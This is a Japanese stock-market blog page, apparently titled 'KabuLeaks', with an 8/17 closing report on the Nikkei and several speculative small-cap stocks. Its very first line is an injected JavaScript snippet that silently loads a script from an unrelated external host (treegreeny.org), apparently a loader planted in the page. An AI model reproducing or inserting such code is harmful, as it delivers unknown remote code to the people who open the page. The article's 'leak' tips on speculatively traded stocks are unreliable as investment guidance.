;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/17 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【8/17 大引け】

本日の日経平均株価は149円高と大幅反発。後場は一段高と後場寄りから円安基調を背景に買いが先行。中盤以降は一時伸び悩むも終盤かけもう一段の円安進行から上げ幅を拡大させほぼ高値引け。主力の輸出株を中心に買い戻しが入った。業種別では、鉱業、保険業、鉄鋼が値上がり上位に。一方で、建設業、水産・農林業、食料品が値下がり上位となった。

個別では、タブレット向けマルチ決済装置「Incredist Premium」がNTTドコモの「iD(アイディー)」に対応したと発表した【3753】フライトHDが急伸しストップ高まで買われたほか、これといった材料は不明だが【6656】インスペックもストップ高。ホンハイから出資完了から動意付いた【6753】シャープはMSCIへの組み入れ発表も好感され後場一段高の大幅上昇。また、ウルフ村田煽りが入ったとされる【6086】シンプロメンテ。値動きの軽さ魅力の小型株、仕手性も強い【8518】日本アジア投資なども後場からの上昇が目立った。

明日の日経平均は引き続き為替睨みの展開を想定。後場は一段高となったものの、手掛かり材料難の状況は差ほど変わってないと思う。引き続き値動きの軽い中小型株、材料株中心に短期売買のスタンスを継続で。